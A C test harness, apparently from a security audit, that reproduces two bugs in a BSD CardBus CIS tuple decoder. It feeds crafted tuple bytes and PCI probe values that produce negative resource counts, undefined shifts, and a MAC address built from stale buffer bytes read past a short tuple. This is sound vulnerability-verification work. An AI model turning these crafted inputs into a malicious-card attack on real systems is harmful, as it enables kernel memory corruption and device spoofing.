DF-4690 / cardbus_harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 | /* * cardbus_harness.c -- DF-4690 / DF-4691 verification harness * * Compiles the REAL tuple-decoder bodies VERBATIM (anchor-extracted at * build time from the guest's /usr/src copy of * sys/dev/pccard/cardbus/cardbus_cis.c; md5-verified == audit tree -- * see build.sh) against minimal stubs for the newbus/pci environment, * and drives them with crafted CIS tuple bytes the way * cardbus_parse_cis (cardbus_cis.c:670-692) would. * * DF-4690 (decode_tuple_bar, cardbus_cis.c:293-385): * mode 1: BAR size field 0xFFFFFFF0 with a PCI BAR probe that reads * back 0xffffffff (unimplemented BAR -- exactly the case the * `pci_bar != 0xffffffff` check at :362 excludes) keeps the * attacker-controlled 32-bit CIS size; it is assigned to the * INT parameter `len` (:308) and passed UNCHECKED as the * resource count to resource_list_add (:377) -> truncated to * -16. * mode 2: probe reads back 0x80000000 (only the size bit set); * masked -> 0x80000000 -> ffs()==32 -> `1 << (ffs-1)` = * 1 << 31 -- signed overflow UB, manifests as INT_MIN -> * negative resource count. (Beyond DF-1811, which covers * ffs(0) when the masked probe value is 0.) * mode 3 (contrast, known DF-1811): probe 0x0000000f -> masked 0 -> * ffs(0)==0 -> 1 << -1 UB. * DF-4691 (decode_tuple_funce, cardbus_cis.c:257-290): * mode 4: a 2-byte FUNCE/LAN tuple {TPLFE_TYPE_LAN_NID, 6} passes * the `tupledata[1] > sizeof(nid)` check (6 > 6 is false, * :278) and bcopy(:282) copies tupledata[2..7] -- PAST the * tuple's own 2 bytes -- into dinfo->funce.lan.nid, the * card's "MAC address" ivar (PCI_IVAR_ETHADDR, * cardbus.c:327-333). tupledata[] is the shared * MAXTUPLESIZE parse buffer (bzero'd once at :656, then * overwritten per tuple), so the MAC is fabricated from * STALE bytes of previously-parsed tuples. Also * `fepresent |= 1 << type` (:286) with type up to 255 is a * UB shift. */ #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <errno.h> #include <sys/endian.h> /* ---------------- kernel shims ---------------- */ typedef void *device_t; #define NELEM(x) (sizeof(x)/sizeof(x[0])) int cardbus_cis_debug = 0; #define kprintf printf #define device_printf(dev, ...) do { } while (0) #define DEVPRINTF(x) do { } while (0) struct pci_devinfo { int resources; }; /* only &...resources is taken */ struct cardbus_devinfo { struct pci_devinfo pci; uint8_t mprefetchable; uint8_t mbelow1mb; uint16_t mfrid; uint16_t prodid; u_int funcid; union { struct { uint8_t nid[6]; } lan; } funce; uint32_t fepresent; }; static struct cardbus_devinfo g_dinfo; static device_t g_child = (device_t)1; static device_t device_get_ivars(device_t c) { (void)c; return &g_dinfo; } /* PCI config emulation: the probe write is a no-op; the read returns * the value a malicious/odd card would present after a 0xffffffff * BAR probe write. */ static uint32_t g_probe_readback; static void pci_write_config(device_t d, int reg, uint32_t val, int width) { (void)d; (void)reg; (void)val; (void)width; } static uint32_t pci_read_config(device_t d, int reg, int width) { (void)d; (void)reg; (void)width; return g_probe_readback; } static void pci_enable_io(device_t d, int type) { (void)d; (void)type; } #define SYS_RES_IOPORT 1 #define SYS_RES_MEMORY 2 static int g_add_count; /* the `count` resource_list_add got */ static void resource_list_add(void *rl, int type, int rid, unsigned long start, unsigned long end, int count, int runadj) { (void)rl; (void)type; (void)rid; (void)start; (void)end; (void)runadj; g_add_count = count; } /* constants from cardbusreg.h / pccard_cis.h */ #define CARDBUS_BASE0_REG 0x10 #define BARBIT(RID) (1<<(((RID)-CARDBUS_BASE0_REG)/4)) #define TPL_BAR_REG_ASI_MASK 0x07 #define TPL_BAR_REG_AS 0x80 #define TPL_BAR_REG_PREFETCHABLE 0x40 #define PCCARD_FUNCTION_NETWORK 6 #define PCCARD_TPLFE_TYPE_LAN_NID 0x04 /* ---- VERBATIM kernel code: cardbus_cis.c decode_tuple_funce + ---- * ---- decode_tuple_bar (see build.sh anchors) ---- */ #include "cardbus_extracted.inc" /* ------------------------------- harness ------------------------------- */ static void run_bar(const char *tag, uint8_t asi, uint32_t cis_len_field, uint32_t probe_readback) { uint8_t tupledata[0x400]; uint32_t off = 0; memset(tupledata, 0, sizeof(tupledata)); tupledata[0] = asi; *(uint32_t *)(tupledata + 2) = htole32(cis_len_field); g_probe_readback = probe_readback; g_add_count = 0x42424242; decode_tuple_bar((device_t)1, g_child, 0x07 /*CISTPL_BAR*/, 6, tupledata, 0, &off, NULL); printf("%s: asi=%u cis_size_field=0x%08x probe=0x%08x -> " "resource_list_add count = %d (0x%x)%s\n", tag, asi, cis_len_field, probe_readback, g_add_count, (unsigned)g_add_count, g_add_count < 0 ? " <== NEGATIVE COUNT INTO RESOURCE LIST" : ""); } int main(int argc, char **argv) { int mode = (argc > 1) ? atoi(argv[1]) : 0; int i; if (mode == 0 || mode == 1) { printf("== DF-4690 mode 1: CIS BAR size kept when probe " "reads 0xffffffff ==\n"); run_bar("m1", 1 /*BAR0, MEM*/, 0xFFFFFFF0u, 0xffffffffu); } if (mode == 0 || mode == 2) { printf("== DF-4690 mode 2: 1 << (ffs(0x80000000)-1) = " "1 << 31 signed-overflow UB -> INT_MIN ==\n"); run_bar("m2", 1, 0x00001000u, 0x80000000u); } if (mode == 0 || mode == 3) { printf("== (known DF-1811 contrast) masked probe 0 -> " "ffs(0)-1 ==\n"); run_bar("m3", 1, 0x00001000u, 0x0000000fu); } if (mode == 0 || mode == 4) { uint8_t tupledata[0x400]; uint32_t off = 0; printf("== DF-4691: LAN NID fabricated from stale " "parse-buffer bytes ==\n"); /* a previously parsed tuple left payload bytes in the * shared tupledata buffer (cardbus_parse_cis reuses it; * only bzero once at :656) */ for (i = 0; i < 16; i++) tupledata[i] = (uint8_t)(0xE0 + i); g_dinfo.funcid = PCCARD_FUNCTION_NETWORK; g_dinfo.fepresent = 0; memset(g_dinfo.funce.lan.nid, 0, 6); /* FUNCE tuple of length 2: type + nidlen, NO nid bytes */ tupledata[0] = PCCARD_TPLFE_TYPE_LAN_NID; tupledata[1] = 6; /* == sizeof(nid): passes :278 check */ decode_tuple_funce((device_t)1, g_child, 0x22 /*CISTPL_FUNCE*/, 2 /* len */, tupledata, 0, &off, NULL); printf("nid (PCI_IVAR_ETHADDR, cardbus.c:333) = " "%02x:%02x:%02x:%02x:%02x:%02x\n", g_dinfo.funce.lan.nid[0], g_dinfo.funce.lan.nid[1], g_dinfo.funce.lan.nid[2], g_dinfo.funce.lan.nid[3], g_dinfo.funce.lan.nid[4], g_dinfo.funce.lan.nid[5]); printf("%s\n", (g_dinfo.funce.lan.nid[0] == 0xE2 && g_dinfo.funce.lan.nid[5] == 0xE7) ? "REPRODUCED: nid = stale bytes 0xE2..0xE7 from the " "PREVIOUS tuple (read past the 2-byte tuple at :282)" : "unexpected nid content"); /* fepresent |= 1 << type with type up to 255: UB shift */ tupledata[0] = 200; tupledata[1] = 0; decode_tuple_funce((device_t)1, g_child, 0x22, 2, tupledata, 0, &off, NULL); printf("fepresent after 1<<200 (UB; x86 masks to 1<<8) = " "0x%x\n", g_dinfo.fepresent); } return 0; } |